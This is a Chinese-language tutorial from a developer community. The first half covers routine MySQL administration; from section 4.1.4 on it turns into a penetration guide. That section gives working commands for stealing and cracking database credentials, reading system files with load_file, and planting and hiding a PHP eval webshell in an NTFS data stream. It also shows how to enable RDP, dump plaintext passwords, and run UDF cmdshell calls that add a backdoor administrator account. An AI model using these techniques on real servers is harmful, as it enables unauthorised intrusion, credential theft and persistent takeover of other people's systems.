本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议 》和 《 阿里云开发者社区知识产权保护指引 》。如果您发现本社区中有涉嫌抄袭的内容,填写 侵权投诉表单 进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

文件-新建连接 在新建连接得窗口输入连接名,主机名或IP地址,端口,用户名,密码 ,然后测试连接没有问题就可以正常连接

4.1.2 数据库密码操作

mysql 5.7.6以后的版本将原来的password字段修改为authentication_string ,其加密算法还是原来的加密算法,在安全上进行了极大的加强

  • 低于5.7.6版本
  • mysql -h localhost -u root -p 敲击回车输入密码

    use mysql;

    update user set password=password("xxxeee") where user='root';

    flush privileges; // 刷新数据库

  • 高于5.7.6版本
  • update mysql.user set authentication_string=password('xxooee') where user='root' and Host='localhost';

    select authentication_string from user;

    flush privileges // 刷新数据库

  • 查询密码值
  • select authentication_string from user;

    4.1.3 数据库操作命令

  • 数据库基本操作命令
  • (1) 显示所有数据库并查询当前使用的数据库

    show databases;

    select database();

    (2) 创建数据库

    create database name;

    (3) 选择数据库

    use databasename;

    (4) 直接删除数据库,无提示

    drop database name;

    (5) 删除数据库前有提示

    mysqladmin drop databasename

    (6) mysqldump备份数据库

    导出整个数据库

    mysqldump -u 用户名 -p --default-character-set=latin1 数据库名 > 导出的文件名(数据库默认编码是latin1)

    mysqldump -u root -p root mysql > mysqlbackup20200620.sql

    注意:备份的名称最好写有意义的,方便日后识别后数据库出问题及时恢复

    导出一个表

    mysqldump -u 用户名 -p 数据库名表名 > 导出的文件名

    mysqldump -u root -p root mysql users > mysql_users.sql

    导出一个数据库结构

    mysqldump -u root -p -d --add-drop-table bmfx_member > /tmp/bmfx_db.sql

    -d 没有数据 --add-drop-table 在每个create语句之前增加一个drop table

    (7) 恢复数据库

    常使用source命令

    use bmfx;

    source bmfx_db.sql

    使用mysqldump命令

    mysqldump -u username -p dbname < filename.sql

    使用mysql命令

    mysql -u username -p -D dbname < filename.sql

  • 操作表相关命令
  • (1) 使用mysql数据库

    use mysql;

    (2) 显示mysql库里面的所有表

    show tables;

    (3) 显示具体的表结构

    describe mysql.user;

    show columns from mysql.user;

    desc mysql.user

    (4) 创建表

    create table mybmfx(

    id int(4) not null primary key auto_increment,

    name char(20) not null,

    sex int(4) not null default '0',

    degree double(18,2));

    (5) 删除表

    drop table <表名>;

    删除表,执行后将直接删除该数据库中的表,执行该命令一定要谨慎,MyISAM类型的表删除后无法恢复,Innodb表还有可能恢复

    drop mybmfx;

    (6) 插入数据

    INSERT INTO insert_table (datetime, uid, content, type)

    VALUES (‘1’, ‘userid_1’, ‘content_1’, 1);

    https://www.runoob.com/mysql/mysql-insert-query.html

    (7) 查询表中的数据

    select * from tablename;

    查询前几行的数据

    select * from tablename order by id limit 0, n;

    (8) 删除表中的数据

    delete from tablename where expr = value; // 删除满足某一个条件的值

    delete from bmfx; //删除表中的所有数据

    (9) 修改表中的数据

    update 表名 set 字段=新值, .... where 条件

    (10) 在表中增加字段

    alter table 表名 add字段类型其他:

    (11) 更改表名

    rename table 原表名 to 新表名

    (12) 用文本方式将数据装入数据库表中(如: /opt/data/mysql.txt)

    load data local infile "/opt/data/mysql.txt" into table mybmfx;

  • 常用得内置函数
  • select system_user(); 查看系统用户

    select current_user(); 查询当前用户

    select user(); 查询用户

    select version(); 查询数据库版本

    select database(); 查询当前连接得数据库

    select @@version_compile_os; 查询当前操作系统

    select now(); 显示当前时间

    4.1.4 MySQL提权必备条件

  • 服务器安装MySQL数据库
  • 利用MySQL提权的前提就是服务器安装了MySQL数据库,且MySQL的服务没有降权,MySQL数据库默认安装以系统权限继承的,并且需要获取MySQL的账号和密码

  • 判断MySQL服务运行权限
  • (1) 通过查看系统账号,比如:net user 如果是mysql类的账号 ,则有可能降权了

    (2) 通过查看mysqld运行的Priority值,如果mysqld的Priority值也为8那么mysql就是以system权限运行

    (3) 查看端口是否可外联,一般情况下是不允许root账号外联的

    4.1.5 MySQL密码获取与破解

  • 获取网站数据库账号和密码
  • (1) 对于CMS系统,一定会有一个文件定义了数据库连接的用户和密码,查看各种默认配置文件;

    (2) 对于Linux操作系统,除了上面的方法之外,还可以查看 /root/.mysql_history , /root/.bash_history

  • 获取MySQL数据库user表
  • 一般是在数据库的安装目录下,有个data目录,里面还哪有3个文件 user.frm, user.myd和user.myi, mysql数据库用户密码都是保存在user.myd文件中,包括其他用户的密码也在里面,在有权限的情况下将这3个文件导出到本地,通过本地的mysql环境读取user表中的数据,也可以通过文本编辑器将user.myd打开,将root账号密码丢到cmd5破解

  • MySQL密码查询
  • 通过以下查询语句直接查询MySQL数据库中的所有用户和密码

    select user,password from mysql.user;

    select user,password from mysql.user where user = 'root';

  • MySQL密码加密算法
  • 根据加密算法来识别账号密码

    select password('123456'), concat('*', sha1(unhex(sha1('123456'))));

    4.1.6 MySQL获取webshell

  • 知道站点的物理路径

  • 有足够大的权限

  • magic_quotes_gpc()=off 不转义

  • 高版本的MySQL新加的特性是限制文件写入,对于参数是 secure_file_priv

  • 直接导出webshell或者创建表导出webshell

  • Windows 2008环境下使用SQLTOOLS工具写webshell

  • 参考: https://www.cnblogs.com/hackxf/p/8975501.html

    4.1.7 MySQL渗透技巧总结

  • 常见的有助于渗透到MySQL的函数
  • database(), user(), system_user(), session_user(), current_user(), load_file()

    (1) 一些常见的系统配置文件如下:

    https://www.jozxing.cc/archives/387

    (2) 直接读取配置文件

    select load_file('/etc/password')

    select load_file('/etc/issues')

    select load_file('/etc/rc.local')

    select load_file('/usr/local/apache/conf/httpd.conf')

    select load_file('/etc/nginx/nginx.conf')

    (3) Linux下通过load_file 函数出来的数据库可能是hex编码,如果需要正常查看,就需要使用Notepad++将以上代码全部选中,然后选择插件"Converter

    " --> "Hex-ASCII" 进行转换

  • Windows下MySQL提权时无法创建目录解决办法及数据流隐藏webshell
  • NTFS中的ADS(交换数据流)可以建立目录,隐藏webshell等操作

    (1) MySQL创建目录

    MySQL 版本较高的情况下自定义函数的dll或者so文件要放在MySQL目录下的lib\plugin下面,一般普通的脚本是没有在这个文件夹下创建文件夹权限的,那么这里可以用ADS来突破:

    select 'xxsswwoo' into oufile 'F:\mysql\lib::$INDEX_ALLOCATION';

    此时会在MySQL目录下生成一个lib目录,这样就可以将UDF放在这个插件目录下了。

    (2) 隐藏webshell

    在服务器上echo一个数据流文件进去,如index.php 是网页正常文件,执行命令:

    echo ^<?php @eval(request[xxssoo])? ^>> index.php;a.jpg

  • 有用的一些技巧
  • (1) 3389端口命令行下获取总结

    netstat -ano | findstr 3389 或者 netstat -ano | find "3389"

    tasklit /svc | find "TermService" 查看TermService对应的pid号是3352

    netstat -ano | find 3352

    (2) Windows 2008 Server命令开启3389端口

    wmic /namespace:\root\cimv2\terminalservices path

    win32_terminalservicesetting where (__CLASS != “”) call

    setallowtsconnections 1

    wmic /namespace:\root\cimv2\terminalservices path

    win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call

    setuserauthenticationrequired 1

    reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

    https://www.zhihu.com/question/58674236/answer/161702330

    https://www.jianshu.com/p/8e7d2f78f5e1

    (3) wce64 -w 命令直接获取系统明文登录密码

    (4) 在phpinfo中查找script_filename关键字获取真实路径

    (5) Linux终端提示符下查看MySQL有关信息

    ps -ef | grep mysql

    (6) Linux下启动Mysql服务

    /etc/init.d/mysqld start

    (7) Linux下查看是mysqld是否启动

    ps -ef | grep mysqld

    (8) 查看mysql在哪里

    whereis mysql

    (9) 查看运行文件所在的路径

    which mysql

    (10) udf.dll提权常见函数

    cmdshell : 执行cmd

    downloader : 下载者

    open3389 : 通用开3389程序

    backshell : 反弹shell

    ProcessView : 列举系统进程

    KillProcess : 终止指定进程

    regread : 读注册表

    regwrite : 写注册表

    shut : 关机,注销,重启

    about: 说明与帮助函数

    select cmdshell('net user bmfx bmfx1234!@#@ /add');

    select cmdshell('net localgroup administrators bmfx /add');

    select cmdshell('regedit /s d:/web3389.reg');

    select cmdshell('netstat -ano');